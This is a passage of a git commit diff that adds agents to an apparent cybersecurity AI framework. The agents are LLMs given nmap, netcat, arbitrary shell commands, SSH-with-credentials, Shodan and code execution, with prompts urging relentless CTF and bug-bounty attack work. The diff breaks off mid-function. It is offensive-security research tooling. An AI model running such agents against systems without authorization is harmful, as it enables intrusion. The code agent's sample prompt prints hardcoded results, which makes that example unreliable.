Add tools, prompts and agents

Signed-off-by: Víctor Mayoral Vilches <v.mayoralv@gmail.com>

pyproject.toml

@@ -18,7 +18,8 @@ dependencies = [
     "rich>=13.9.4",
     "prompt_toolkit>=3.0.39",
     "dotenv>=0.9.9",
-    "litellm>=1.63.7"
+    "litellm>=1.63.7",
+    "mako>=1.3.9"
 ]
 classifiers = [
     "Typing :: Typed",
@@ -77,6 +78,11 @@ build-backend = "hatchling.build"
 [tool.hatch.build.targets.wheel]
 packages = ["src/cai"]
 
+[tool.hatch.build.targets.wheel.sources]
+"src" = ""
+
+[tool.hatch.build.targets.wheel.force-include]
+"src/cai/prompts" = "cai/prompts"
 
 [tool.ruff]
 line-length = 100
@@ -137,3 +143,6 @@ markers = [
 
 [tool.inline-snapshot]
 format-command = "ruff format --stdin-filename {filename}"
+
+[project.scripts]
+cai = "cai.cli:main"

src/cai/agents/__init__.py

@@ -0,0 +1,200 @@
+"""
+CAI agents abstraction layer
+
+CAI abstracts its cybersecurity behavior via agents and agentic patterns.
+
+An Agent in an intelligent system that interacts with some environment.
+More technically, and agent is anything that can be viewed as perceiving
+its environment through sensors and acting upon that environment through
+actuators (Russel & Norvig, AI: A Modern Approach). In cybersecurity,
+an Agent interacts with systems and networks, using peripherals and
+network interfaces as sensors, and executing network actions as
+actuators.
+
+An Agentic Pattern is a structured design paradigm in artificial
+intelligence systems where autonomous or semi-autonomous agents operate
+within a "defined interaction framework" to achieve a goal. These
+patterns specify the organization, coordination, and communication
+methods among agents, guiding decision-making, task execution,
+and delegation.
+
+An agentic pattern (`AP`) can be formally defined as a tuple:
+
+
+\\[
+AP = (A, H, D, C, E)
+\\]
+
+where:
+
+- **\\(A\\) (Agents):** A set of autonomous entities, \\( A = \\{a_1, a_2, ..., a_n\\} \\), each with defined roles, capabilities, and internal states.
+- **\\(H\\) (Handoffs):** A function \\( H: A \times T \to A \\) that governs how tasks \\( T \\) are transferred between agents based on predefined logic (e.g., rules, negotiation, bidding).
+- **\\(D\\) (Decision Mechanism):** A decision function \\( D: S \to A \\) where \\( S \\) represents system states, and \\( D \\) determines which agent takes action at any given time.
+- **\\(C\\) (Communication Protocol):** A messaging function \\( C: A \times A \to M \\), where \\( M \\) is a message space, defining how agents share information.
+- **\\(E\\) (Execution Model):** A function \\( E: A \times I \to O \\) where \\( I \\) is the input space and \\( O \\) is the output space, defining how agents perform tasks.
+
+| **Agentic Pattern** | **Description** |
+|--------------------|------------------------|
+| `Swarm` (Decentralized) | Agents share tasks and self-assign responsibilities without a central orchestrator. Handoffs occur dynamically. *An example of a peer-to-peer agentic pattern is the `CTF Agentic Pattern`, which involves a team of agents working together to solve a CTF challenge with dynamic handoffs.* |
+| `Hierarchical` | A top-level agent (e.g., "PlannerAgent") assigns tasks via structured handoffs to specialized sub-agents. Alternatively, the structure of the agents is harcoded into the agentic pattern with pre-defined handoffs. |
+| `Chain-of-Thought` (Sequential Workflow) | A structured pipeline where Agent A produces an output, hands it to Agent B for reuse or refinement, and so on. Handoffs follow a linear sequence. *An example of a chain-of-thought agentic pattern is the `ReasonerAgent`, which involves a Reasoning-type LLM that provides context to the main agent to solve a CTF challenge with a linear sequence.*[^1] |
+| `Auction-Based` (Competitive Allocation) | Agents "bid" on tasks based on priority, capability, or cost. A decision agent evaluates bids and hands off tasks to the best-fit agent. |
+| `Recursive` | A single agent continuously refines its own output, treating itself as both executor and evaluator, with handoffs (internal or external) to itself. *An example of a recursive agentic pattern is the `CodeAgent` (when used as a recursive agent), which continuously refines its own output by executing code and updating its own instructions.* |
+
+[^1]: Arguably, the Chain-of-Thought agentic pattern is a special case of the Hierarchical agentic pattern.
+"""
+
+# Standard library imports
+import os
+import pkgutil
+import importlib
+from cai.sdk.agents import Agent
+
+from typing import Dict
+
+# Local application imports
+from cai.agents.flag_discriminator import (
+    flag_discriminator,
+    transfer_to_flag_discriminator
+)
+from dotenv import load_dotenv  # pylint: disable=import-error # noqa: E501
+
+# Extend the search path for namespace packages (allows merging)
+__path__ = pkgutil.extend_path(__path__, __name__)
+
+# Get model from environment or use default
+model = os.getenv('CAI_MODEL', "qwen2.5:14b")
+
+
+PATTERNS = [
+    "hierarchical",
+    "swarm",
+    "chain_of_thought",
+    "auction_based",
+    "recursive"
+]
+
+
+def get_available_agents() -> Dict[str, Agent]:  # pylint: disable=R0912  # noqa
+    """
+    Get a dictionary of all available agents compiled
+    from the cai/agents folder.
+
+    Returns:
+        Dictionary mapping agent names to Agent instances
+    """
+    agents_to_display = {}
+
+    # # First, add all agents from AVAILABLE_AGENTS
+    # for name, agent in AVAILABLE_AGENTS.items():
+    #     agents_to_display[name] = agent
+
+    # Try to import all agents from the agents folder
+    for _, name, _ in pkgutil.iter_modules(__path__,
+                                           __name__ + "."):
+        try:
+            module = importlib.import_module(name)
+            # Look for Agent instances in the module
+            for attr_name in dir(module):
+                attr = getattr(module, attr_name)
+                if isinstance(
+                        attr, Agent) and not attr_name.startswith("_"):
+                    # agent_name = attr_name.replace("_agent", "")
+                    agent_name = attr_name
+                    if agent_name not in agents_to_display:
+                        agents_to_display[agent_name] = attr
+        except (ImportError, AttributeError):
+            pass
+
+    # Also check the patterns subdirectory
+    patterns_path = os.path.join(os.path.dirname(__file__), "patterns")
+    if os.path.exists(patterns_path) and os.path.isdir(patterns_path):  # pylint: disable=R1702  # noqa
+        for _, name, _ in pkgutil.iter_modules([patterns_path],
+                                               __name__ + ".patterns."):
+            try:
+                module = importlib.import_module(name)
+                # Look for Agent instances in the patterns module
+                for attr_name in dir(module):
+                    attr = getattr(module, attr_name)
+                    if isinstance(
+                            attr, Agent) and not attr_name.startswith("_"):
+                        # agent_name = attr_name.replace("_agent", "")
+                        agent_name = attr_name
+                        if agent_name not in agents_to_display:
+                            agents_to_display[agent_name] = attr
+            except (ImportError, AttributeError):
+                pass
+
+    return agents_to_display
+
+
+def get_agent_module(agent_name: str) -> str:
+    """
+    Get the module name where a given agent is defined.
+
+    Args:
+        agent_name: Name of the agent
+        (with or without '_agent' suffix)
+
+    Returns:
+        The full module name where the agent
+        is defined (e.g., 'cai.agents.basic')
+    """
+    # Try to import all agents from the agents folder
+    for _, name, _ in pkgutil.iter_modules(__path__,
+                                           __name__ + "."):
+        try:
+            module = importlib.import_module(name)
+            # Look for Agent instances in the module
+            for attr_name in dir(module):
+                # Try both with and without _agent suffix
+                if (attr_name == agent_name) and isinstance(
+                        getattr(module, attr_name), Agent):
+                    return name
+        except (ImportError, AttributeError):
+            pass
+
+    # Also check the patterns subdirectory
+    patterns_path = os.path.join(os.path.dirname(__file__), "patterns")
+    if os.path.exists(patterns_path) and os.path.isdir(patterns_path):
+        for _, name, _ in pkgutil.iter_modules([patterns_path],
+                                               __name__ + ".patterns."):
+            try:
+                module = importlib.import_module(name)
+                # Look for Agent instances in the patterns module
+                for attr_name in dir(module):
+                    # Try both with and without _agent suffix
+                    if (attr_name == agent_name) and isinstance(
+                            getattr(module, attr_name), Agent):
+                        return name
+            except (ImportError, AttributeError):
+                pass
+
+    return "unknown"
+
+
+
+load_dotenv()
+cai_agent = os.getenv('CAI_AGENT_TYPE', "one_tool_agent").lower()
+# Get all available agents
+available_agents = get_available_agents()
+
+if cai_agent not in available_agents:
+    # stop and raise error
+    raise ValueError(f"Invalid CAI agent type: {cai_agent}")
+
+# Set the initial agent based on the environment variable
+cai_initial_agent = available_agents[cai_agent]
+
+# Special handling for one_tool agent
+#
+# NOTE: maintained this for backwards compatibility
+#
+# NOTE 2: consider adding this if CTF_NAME defined
+#
+if cai_agent == "one_tool_agent":
+    from cai.agents.one_tool import transfer_to_one_tool_agent  # noqa
+    cai_initial_agent.tools.append(
+        transfer_to_flag_discriminator
+    )
+    flag_discriminator.tools.append(transfer_to_one_tool_agent)  # noqa

src/cai/agents/basic.py

@@ -0,0 +1,147 @@
+"""
+Collection of basic agents
+"""
+
+import os
+from cai.util import Agent  # pylint: disable=import-error
+from cai.tools.reconnaissance.netcat import netcat  # pylint: disable=import-error # noqa: E501
+from cai.tools.reconnaissance.nmap import nmap  # pylint: disable=import-error # noqa: E501
+
+# First party imports
+from cai.tools.reconnaissance.filesystem import (
+    list_dir,
+    cat_file,
+    find_file,
+    pwd_command
+)
+from cai.tools.reconnaissance.generic_linux_command import (
+    generic_linux_command
+)
+from cai.tools.reconnaissance.crypto_tools import (
+    decode64,
+    strings_command,
+    decode_hex_bytes
+)
+model = os.getenv('CAI_MODEL', "qwen2.5:14b")
+
+
+ctf_agent = Agent(
+    model=model,
+    name="CTF agent",
+    description="""Agent focused on CTF challenges.
+                   Expert in cybersecurity and exploitation.
+                   Specializes in executing Linux commands efficiently.""",
+    instructions="""You are a Cybersecurity expert Leader facing a CTF
+                    challenge.
+                    INSTRUCTIONS:
+                    1. Execute the generic_linux_command tool without any
+                    explanation.
+                    2. Be efficient and strategic when executing commands.
+                    3. Never assume the flag format - it could be any string
+                    4. NEVER GIVE UP. KEEP EXECUTING TOOLS UNTIL YOU FIND
+                    THE FLAG.
+                    5. IF YOU ENCOUNTER A PROBLEM, IT IS HIGHLY LIKELY
+                    THAT YOU ARE ASSUMING WRONG FILENAMES, PORTS,
+                    IP ADDRESSES, ETC. PAY ATTENTION TO YOUR HALLUCINATIONS.
+                    6. YOU MUST USE THE flag_discriminator to check the flag
+                    when you have it in DECODED 64-bit format
+                    7. Do a initial recon (nmap, service enumeration)""",
+    functions=[
+        generic_linux_command,
+    ],
+    parallel_tool_calls=False
+)
+
+
+def transfer_to_ctf_agent(**kwargs):  # pylint: disable=W0613
+    """Transfer to ctf agent.
+    Accepts any keyword arguments but ignores them."""
+    return ctf_agent
+
+
+network_agent = Agent(
+    model=model,
+    name="Network Specialist",
+    description="""Agent specialized in network reconnaissance.
+                   Expert in using nmap and netcat for service discovery.
+                   Focuses on identifying network vulnerabilities.""",
+    instructions=("""INSTRUCTIONS:
+        1. You specialize in using nmap and netcat.
+        INSTRUCTIONS:
+        1. You always use real information of the
+        CTF challenge as arguments for the tools.
+        If you lack of that information, you find another
+        way to get it.
+        2. Keep calling agents until you find the flag.
+        3. Do not be verbose, just call the tools.
+        4. YOU NEVER USE PLACEHOLDERS, AS THE TOOLS WILL
+        NOT WORK WITH THEM.
+        5. Whenever you find a likely candidate flag, call
+        the flag_discriminator agent.
+        6. DO NOT SEND THE SAME COMMAND OVER AND OVER"""),
+    functions=[netcat, nmap],
+)
+
+
+def transfer_to_network_agent(**kwargs):  # pylint: disable=W0613
+    """ Transfer to network agent.
+    Accepts any keyword arguments but ignores them."""
+    return network_agent
+
+
+crypto_agent = Agent(
+    model=model,
+    name="Cryptography Expert",
+    description="""Agent specialized in cryptographic analysis.
+                   Expert in decoding and analyzing encrypted data.
+                   Focuses on breaking cryptographic challenges in CTFs.""",
+    instructions=("""
+        INSTRUCTIONS:
+        1. Your expertise is in decryption and
+                  data analysis.
+        2. Use your tools to decode and analyze
+                  encrypted data.
+        3. DO NOT BE VERBOSE, JUST CALL THE TOOLS AS NEEDED
+        4. Use your tools to solve the CTF challenge.
+        5. Do not generate a plan or verbose output.
+        """
+                  ),
+    functions=[decode64, strings_command, decode_hex_bytes],
+)
+
+
+def transfer_to_crypto_agent(**kwargs):  # pylint: disable=W0613
+    """ Transfer to crypto agent.
+    Accepts any keyword arguments but ignores them."""
+    return crypto_agent
+
+
+listing_agent = Agent(
+    model=model,
+    name="File Explorer",
+    description="""Agent specialized in filesystem navigation and exploration.
+                   Expert in finding and analyzing files and directories.
+                   Focuses on discovering hidden files and sensitive data.""",
+    instructions=("""INSTRUCTIONS:
+        1. You specialize in navigating file systems.
+        2. Use your tools to list, read, and find files in
+        a directory.
+        3. DO NOT USE THE SAME TOOL FOR THE SAME FILE OR
+        DIRECTORY more than 3 times.
+        4. DO NOT BE VERBOSE, JUST CALL THE TOOLS AS NEEDED
+        TO SOLVE THE CTF
+        5. KEEP CALLING THE TOOLS OR THE CTF Leader AGENT
+        UNTIL YOU FIND THE FLAG"""),
+    functions=[
+        list_dir,
+        cat_file,
+        find_file,
+        pwd_command,
+        generic_linux_command],
+)
+
+
+def transfer_to_listing_agent(**kwargs):  # pylint: disable=W0613
+    """ Transfer to listing agent.
+    Accepts any keyword arguments but ignores them."""
+    return listing_agent

src/cai/agents/bug_bounter.py

@@ -0,0 +1,47 @@
+"""Red Team Base Agent"""
+import os
+from dotenv import load_dotenv
+from cai.sdk.agents import Agent  # pylint: disable=import-error
+from cai.util import load_prompt_template
+from cai.tools.command_and_control.sshpass import (  # pylint: disable=import-error # noqa: E501
+    run_ssh_command_with_credentials
+)
+
+from cai.tools.reconnaissance.generic_linux_command import (  # pylint: disable=import-error # noqa: E501
+    generic_linux_command
+)
+from cai.tools.web.search_web import (  # pylint: disable=import-error # noqa: E501
+    make_google_search
+)
+
+from cai.tools.reconnaissance.exec_code import (  # pylint: disable=import-error # noqa: E501
+    execute_code
+)
+
+from cai.tools.reconnaissance.shodan import (  # pylint: disable=import-error # noqa: E501
+    shodan_search,
+    shodan_host_info
+)
+
+load_dotenv()
+# Prompts
+bug_bounter_system_prompt = load_prompt_template("prompts/system_bug_bounter.md")
+# Define functions list based on available API keys
+functions = [
+    generic_linux_command,
+    execute_code,
+    shodan_search,
+    shodan_host_info
+]
+
+if os.getenv('GOOGLE_SEARCH_API_KEY') and os.getenv('GOOGLE_SEARCH_CX'):
+    functions.append(make_google_search)
+
+bug_bounter_agent = Agent(
+    name="Bug Bounter",
+    instructions=bug_bounter_system_prompt,
+    description="""Agent that specializes in bug bounty hunting and vulnerability discovery.
+                   Expert in web security, API testing, and responsible disclosure.""",
+    model=os.getenv('CAI_MODEL', "qwen2.5:14b"),
+    tools=functions,
+)

src/cai/agents/codeagent.py

@@ -0,0 +1,947 @@
+"""
+A Coding Agent (CodeAgent)
+
+A re-interpretation for CAI of the original CodeAct concept
+from the paper "Executable Code Actions Elicit Better LLM Agents"
+at https://arxiv.org/pdf/2402.01030.
+
+Briefly, the CodeAgent CAI Agent uses executable Python code to
+consolidate LLM agents' actions into a unified action space
+(CodeAct). Integrated with a Python interpreter, CodeAct can
+execute code actions and dynamically revise prior actions or
+emit new actions upon new observations through multi-turn
+interactions.
+"""
+
+# Standard library imports
+import copy
+import platform
+import re
+import signal
+import threading
+from typing import Any, Callable, Dict, List, Optional, Tuple, Union
+
+# Third-party imports
+from wasabi import color  # pylint: disable=import-error # noqa: E402
+
+# Local imports
+from cai.agents.meta.local_python_executor import (
+    BASE_BUILTIN_MODULES,
+    LocalPythonInterpreter,
+    fix_final_answer_code,
+    truncate_content,
+)
+from cai.sdk.agents import Agent, Result
+
+
+class CodeAgentException(Exception):
+    """Base exception class for CodeAgent-related errors."""
+    pass  # pylint: disable=unnecessary-pass
+
+
+class CodeGenerationError(CodeAgentException):
+    """
+    Exception raised when there's an
+    error generating code from the model.
+    """
+    pass  # pylint: disable=unnecessary-pass
+
+
+class CodeParsingError(CodeAgentException):
+    """Exception raised when there's an
+    error parsing code from model output."""
+    pass  # pylint: disable=unnecessary-pass
+
+
+class CodeExecutionError(CodeAgentException):
+    """Exception raised when there's an error
+    executing code."""
+    pass  # pylint: disable=unnecessary-pass
+
+
+class CodeExecutionTimeoutError(CodeAgentException):
+    """Exception raised when code execution times out."""
+    pass  # pylint: disable=unnecessary-pass
+
+
+# Define a timeout handler function
+def timeout_handler(signum, frame):  # pylint: disable=unused-argument # noqa
+    """
+    Signal handler for timeouts.
+
+    This handler is designed to be used with SIGALRM but can handle
+    other signals gracefully. It raises a TimeoutError to indicate
+    that the code execution has timed out.
+
+    Args:
+        signum (int): The signal number
+        frame (frame): The current stack frame
+
+    Raises:
+        TimeoutError: Always raised to indicate timeout
+    """
+    if signum == signal.SIGALRM:  # pylint: disable=no-else-raise # noqa: E702
+        raise TimeoutError("Code execution timed out")
+    else:  # pylint: disable=no-else-raise # noqa: E702
+        # Handle other signals gracefully
+        raise TimeoutError(f"Code execution interrupted by signal {signum}")
+
+
+# Define a class for thread-based timeout (for Windows compatibility)
+class ThreadWithResult(threading.Thread):
+    """Thread class that can return a result and catch exceptions."""
+
+    def __init__(self, target, args=(), kwargs=None):
+        super().__init__()
+        self.target = target
+        self.args = args
+        self.kwargs = kwargs or {}
+        self.result = None
+        self.exception = None
+
+    def run(self):
+        try:
+            self.result = self.target(*self.args, **self.kwargs)
+        except Exception as e:  # pylint: disable=broad-exception-caught
+            self.exception = e
+
+
+def parse_code_blobs(text: str) -> str:
+    """
+    Extract Python code blocks from the
+    text, with fallback detection for non-marked code.
+
+    This function first attempts to find code within
+    markdown-style code blocks (```python ... ``` or ``` ... ```).
+    If no code blocks are found, it tries to identify Python code
+    by looking for common Python syntax patterns.
+
+    Args:
+        text (str): Text containing code blocks or raw
+            Python code
+
+    Returns:
+        str: Extracted Python code, stripped of
+            leading/trailing whitespace
+
+    Raises:
+        CodeParsingError: If no valid Python code can be
+            identified in the text
+    """
+    # Pattern to match code blocks: ```python ... ``` or just ``` ... ```
+    pattern = r"```(?:python)?\s*([\s\S]*?)```"
+    matches = re.findall(pattern, text)
+
+    if not matches:
+        # Try to find code without explicit code block markers
+        if "def " in text or "import " in text or "print(" in text:
+            # Extract what looks like code
+            lines = text.split("\n")
+            code_lines = []
+            for line in lines:
+                if line.strip().startswith((
+                    "def ",
+                    "import ",
+                    "from ",
+                    "print(",
+                    "#",
+                    "for ",
+                    "if "
+                )):
+                    code_lines.append(line)
+            if code_lines:
+                return "\n".join(code_lines)
+
+        raise CodeParsingError("No code block found in the text")
+
+    # Return the first code block
+    return matches[0].strip()
+
+
+class CodeAgent(Agent):
+    """
+    CodeAgent executes Python code to solve tasks.
+
+    This agent interprets LLM responses as executable Python
+    code, runs the code in a controlled environment, and
+    returns the results. It can use tools through code
+    execution and maintain state between interactions.
+
+    NOTE: This class is implemented using exceptional techniques
+    due to how Pydantic handles model inheritance and field
+    initialization, which avoids using the
+    `self.attribute = value` syntax and defining the pydantic
+    model fields as class variables.
+    """
+
+    # Define model configuration for Pydantic
+    model_config = {
+        "arbitrary_types_allowed": True,
+        "extra": "allow",
+    }
+
+    def __init__(  # pylint: disable=too-many-arguments,too-many-locals # noqa: E501
+        self,
+        name: str = "CodeAgent",
+        model: str = "qwen2.5:14b",
+        instructions: Union[str, Callable[[], str]] = None,
+        functions: List[Callable] = None,
+        additional_authorized_imports: Optional[List[str]] = None,
+        description: str = """Agent focused on writing and executing code.
+                   State-of-the-art in code production.""",
+        max_print_outputs_length: Optional[int] = None,
+        reasoning_effort: Optional[str] = "medium",
+        max_steps: int = 10,
+        execution_timeout: int = 60,  # Default timeout of 60 seconds
+        tool_choice: str = "auto",
+    ):
+        """Initialize a CodeAgent.
+
+        Args:
+            name: Name of the agent
+            model: Model to use for the agent
+            instructions: Instructions for the agent
+            functions: List of functions available to the agent
+            additional_authorized_imports: List of additional imports to allow
+            max_print_outputs_length: Maximum length of print outputs
+            reasoning_effort: Level of reasoning effort (low, medium, high)
+            max_steps: Maximum number of steps to execute
+            execution_timeout: Maximum time in seconds to allow for execution
+            tool_choice: Tool choice strategy
+        """
+        # Store CodeAgent-specific parameters as local variables first
+        _additional_imports = additional_authorized_imports or []
+        _max_print_length = max_print_outputs_length
+        _max_steps = max_steps
+        _execution_timeout = execution_timeout
+        _tool_choice = tool_choice
+        # Calculate authorized imports
+        _authorized_imports = list(
+            set(BASE_BUILTIN_MODULES) | set(_additional_imports))
+
+        # Store attributes as instance variables before creating instructions
+        # Using object.__setattr__ to bypass Pydantic's attribute setting
+        # mechanism
+        object.__setattr__(
+            self,
+            'additional_authorized_imports',
+            _additional_imports)
+        object.__setattr__(self, 'authorized_imports', _authorized_imports)
+        object.__setattr__(self, 'execution_timeout', _execution_timeout)
+        object.__setattr__(self, 'tool_choice', _tool_choice)
+        object.__setattr__(self, 'cai_instance', None)
+
+        # Create instructions if needed
+        if instructions is None:
+            # Use the _create_instructions method to generate the default
+            # instructions
+            instructions = self._create_instructions()
+
+        # Initialize parent class first
+        super().__init__(
+            name=name,
+            model=model,
+            description=description,
+            instructions=instructions,
+            functions=functions or [],
+            reasoning_effort=reasoning_effort,
+            temperature=0.2,  # Lower temperature for predictable code
+        )
+
+        # Store remaining attributes as instance variables
+        # Using object.__setattr__ to bypass Pydantic's attribute setting
+        # mechanism
+        object.__setattr__(self, 'max_print_outputs_length', _max_print_length)
+        object.__setattr__(self, 'max_steps', _max_steps)
+        object.__setattr__(self, 'execution_timeout', _execution_timeout)
+        object.__setattr__(self, 'context_variables', {'__name__': '__main__'})
+        object.__setattr__(self, 'step_number', 0)
+
+        # Initialize the Python interpreter
+        python_executor = LocalPythonInterpreter(
+            additional_authorized_imports=_additional_imports,
+            tools={},  # We'll populate tools from functions
+            max_print_outputs_length=_max_print_length,
+        )
+        object.__setattr__(self, 'python_executor', python_executor)
+
+        # Register functions as tools for the Python executor
+        self._register_functions_as_tools()
+
+    def _create_instructions(self) -> str:
+        """Create the system instructions including
+        authorized imports information."""
+        imports_info = (
+            "You can import any Python module."
+            if "*" in self.additional_authorized_imports
+            else (
+                f"You can only import from these modules: "
+                f"{', '.join(sorted(self.authorized_imports))}"
+            )
+        )
+
+        return f"""
+You are a coding agent that solves problems by
+writing and executing Python code.
+
+When presented with a task, you should:
+1. Think about the problem and how to approach it
+2. Write Python code to solve the problem
+3. Present your code in a properly formatted Python
+    code block using ```python and ```
+4. Your code will be automatically executed, and the
+    results will be returned to you
+
+Important guidelines:
+- Always provide your solution within a Python code block
+- Use print() statements to show your reasoning and progress
+- {imports_info}
+- Use the final_answer() function to provide your final
+    answer when you've solved the problem
+- When in doubt, test your approach with small examples first
+- Maintain variables in memory across interactions - your state persists
+- Your code execution has a timeout of {self.execution_timeout} seconds
+    - avoid infinite loops or long-running operations
+- The variable __name__ is set to "__main__" so you can use standard
+Python patterns like:
+  ```python
+  if __name__ == "__main__":
+      main()
+  ```
+
+Here's an example of a good response:```python
+# Let's solve this step by step
+import math
+
+# Define our approach
+def calculate_result(x, y):
+    return math.sqrt(x**2 + y**2)
+
+# Test with an example
+test_result = calculate_result(3, 4)
+print(f"Test result: 5")  # Should print 5.0
+
+# Solve the actual problem
+final_result = calculate_result(5, 12)
+# Should print 13.0 since math.sqrt(5**2 + 12**2) = 13.0
+print(f"Final result: 13.0")
+
+# Return the final answer
+final_answer(f"The result is 13.0")
+```
+
+I'll execute your code and show you the results.
+"""
+
+    def _register_functions_as_tools(self):
+        """
+        Register agent functions as tools
+        available in the Python executor.
+        """
+        for func in self.functions:
+            # Use the function name as the tool name
+            func_name = func.__name__
+            self.python_executor.static_tools[func_name] = func
+
+    def _setup_signal_handlers(self):
+        """
+        Set up signal handlers for the CodeAgent.
+
+        This method sets up signal handlers to ensure that the agent
+        can handle interruptions gracefully. It's particularly important
+        for long-running code executions.
+
+        Returns:
+            dict: A dictionary of original signal handlers that were replaced
+        """
+        original_handlers = {}
+
+        # Only set up signal handlers on Unix-like systems
+        if platform.system() != "Windows":
+            # Save original handlers
+            original_handlers[signal.SIGINT] = signal.getsignal(signal.SIGINT)
+            original_handlers[signal.SIGTERM] = signal.getsignal(
+                signal.SIGTERM)
+
+            # Define a handler for SIGINT and SIGTERM
+            def signal_handler(signum, frame):  # pylint: disable=unused-argument # noqa
+                # Restore original handlers
+                for sig, handler in original_handlers.items():
+                    signal.signal(sig, handler)
+                # Raise an exception to interrupt execution
+                raise KeyboardInterrupt(
+                    f"Execution interrupted by signal {signum}")
+
+            # Set up handlers
+            signal.signal(signal.SIGINT, signal_handler)
+            signal.signal(signal.SIGTERM, signal_handler)
+
+        return original_handlers
+
+    def _restore_signal_handlers(self, original_handlers):
+        """
+        Restore original signal handlers.
+
+        Args:
+            original_handlers (dict): Dictionary of original signal handlers
+        """
+        if platform.system() != "Windows":
+            for sig, handler in original_handlers.items():
+                signal.signal(sig, handler)
+
+    def process_interaction(
+        self,
+        cai_instance: object,
+        messages: List[Dict],
+        context_variables: Dict = None,
+        debug: bool = False
+    ) -> Tuple[Result, str, Optional[Any]]:
+        """
+        Process a conversation by generating and executing
+        Python code.
+
+        This method takes a list of messages representing
+        the conversation history and generates/executes
+        Python code based on the latest user message.
+
+        Args:
+            cai_instance (object):
+                The CAI instance that is calling the CodeAgent
+            messages (List[Dict]):
+                List of messages in the conversation
+            context_variables (Dict, optional):
+                Variables to be made available in the code
+            debug (bool, optional):
+                Whether to print debug information
+
+        Returns:
+            Tuple[Result, str, Optional[Any]]:
+                A tuple containing:
+                - Result object with execution results
+                - Generated code string
+                - Optional completion object from LLM
+        """
+        if context_variables:
+            self.context_variables.update(context_variables)
+
+        # Ensure __name__ is set to "__main__" to simulate script execution
+        self.context_variables["__name__"] = "__main__"
+
+        # Extract the latest user message
+        user_messages = [
+            msg for msg in messages
+            if msg.get("role") == "user"
+        ]
+        if not user_messages:
+            return Result(
+                value="No user message found in the conversation.",
+                context_variables=self.context_variables
+            ), "", None
+
+        latest_user_message = user_messages[-1].get("content", "")
+
+        try:
+            # Try to extract code from the message
+            # if it contains code blocks
+            if "```" in latest_user_message:
+                try:
+                    code = parse_code_blobs(latest_user_message)
+                    result = self._execute_code(code, debug)
+                    return result, code, None
+                except CodeParsingError:
+                    # If parsing fails, generate code based on the message
+                    pass
+
+            # Generate code using the LLM based on the conversation
+            code, completion = self._generate_code(
+                cai_instance, messages, debug)
+            result = self._execute_code(code, debug)
+            return result, code, completion
+
+        except CodeAgentException as e:
+            # Handle agent-specific exceptions
+            # Initialize code to empty string if it's not defined
+            if 'code' not in locals():
+                code = ""
+            return Result(
+                value=f"Error: {str(e)}",
+                context_variables=self.context_variables
+            ), code, None
+
+    def _generate_code(self, cai_instance: object,
+                       messages: List[Dict], debug: bool = False) -> str:
+        """
+        Generate Python code based on the conversation history.
+
+        This method uses the LLM to generate Python code that solves
+        the task described in the conversation.
+
+        Args:
+            cai_instance (object):
+                The CAI instance that is calling the CodeAgent
+            messages (List[Dict]):
+                List of messages in the conversation
+            debug (bool, optional):
+                Whether to print debug information
+
+        Returns:
+            str: Generated Python code
+
+        Raises:
+            CodeGenerationError: If code generation fails
+        """
+        try:
+            if debug:
+                print(
+                    color(
+                        "🧠 Starting code generation...",
+                        fg="blue",
+                        bold=True))
+
+            # Create a message that prompts the LLM to generate code
+            code_generation_message = {
+                "role": "user",
+                "content": ("Based on our conversation, please generate "
+                            "Python code to solve this problem. "
+                            "Your response should ONLY include the "
+                            "Python code block.")
+            }
+
+            # Clone the messages and add our code generation prompt
+            messages_copy = copy.deepcopy(messages)
+            messages_copy.append(code_generation_message)
+
+            # Get completion from the model
+            completion = cai_instance.get_chat_completion(
+                agent=self,
+                history=messages_copy,
+                context_variables=self.context_variables,
+                model_override=None,
+                stream=False,
+                debug=False,
+                master_template="system_codeact_template.md"
+            )
+
+            # Extract the model's response
+            model_response = completion.choices[0].message.content
+
+            # Parse code blocks from the response
+            try:
+                code = parse_code_blobs(model_response)
+                if debug:
+                    print(color("📝 Generated code:", fg="green", bold=True))
+                    print(color(f"```python\n{code}\n```", fg="green"))
+                    print(
+                        color(
+                            "✅ Code generation completed",
+                            fg="blue",
+                            bold=True))
+                return code, completion
+            except CodeParsingError:
+                # If no code block found, but the content looks like code,
+                # return it as is
+                if ("def " in model_response or
+                    "import " in model_response or
+                        "print(" in model_response):
+                    if debug:
+                        print(
+                            color(
+                                "📝 Generated code (no code block"
+                                "found, but looks like code):",
+                                fg="yellow",
+                                bold=True))
+                        print(
+                            color(
+                                f"```python\n{model_response}\n```",
+                                fg="yellow"))
+                        print(
+                            color(
+                                "✅ Code generation completed",
+                                fg="blue",
+                                bold=True))
+                    return model_response, completion
+                if debug:
+                    print(
+                        color(
+                            "❌ No code found in model response",
+                            fg="red",
+                            bold=True))
+                raise  # Re-raise if doesn't look like code
+
+        except Exception as e:
+            if debug:
+                print(
+                    color(
+                        f"❌ Code generation failed: {
+                            str(e)}",
+                        fg="red",
+                        bold=True))
+            raise CodeGenerationError(f"Failed to generate code: {str(e)}")  # pylint: disable=raise-missing-from # noqa: E702,E501
+
+    def _execute_code(self, code: str, debug: bool = False) -> Result:  # pylint: disable=too-many-locals,too-many-branches,too-many-statements # noqa: E501
+        """
+        Execute the Python code and return the result.
+
+        Args:
+            code (str): Python code to execute
+            debug (bool, optional): Whether to print debug information
+
+        Returns:
+            Result:
+                A Result object containing the
+                    execution result and updated state
+
+        Raises:
+            CodeExecutionError: If code execution fails
+            CodeExecutionTimeoutError: If code execution times out
+        """
+        # Set up signal handlers
+        original_handlers = self._setup_signal_handlers()
+
+        try:
+            if debug:
+                print(
+                    color(
+                        "🚀 Starting code execution...",
+                        fg="blue",
+                        bold=True))
+
+            # Fix the code if needed (e.g., ensure final_answer is properly
+            # used)
+            code = fix_final_answer_code(code)
+
+            # Add __name__ to context_variables to simulate script execution
+            self.context_variables["__name__"] = "__main__"
+
+            # Execute the code with timeout
+            if debug:
+                print(color("⚙️ Executing code...", fg="cyan"))
+
+            # Check if we're on a Unix-like system (Linux, macOS) or Windows
+            # as the timeout implementation differs
+            is_windows = platform.system() == "Windows"
+
+            if is_windows:
+                # Windows implementation using threads
+                execution_logs = ""
+                output = None
+                is_final_answer = False
+
+                # Define a function to execute the code
+                def execute_code():
+                    return self.python_executor(code, self.context_variables)
+
+                # Create and start the thread
+                thread = ThreadWithResult(target=execute_code)
+                thread.start()
+                thread.join(timeout=self.execution_timeout)
+
+                # Check if the thread is still alive (timeout occurred)
+                if thread.is_alive():
+                    # Thread is still running, timeout occurred
+                    # We can't easily kill the thread in Python, but we can
+                    # proceed without waiting for it
+                    if hasattr(
+                        self.python_executor, "state") \
+                            and "_print_outputs" in self.python_executor.state:
+                        execution_logs = str(
+                            self.python_executor.state.get(
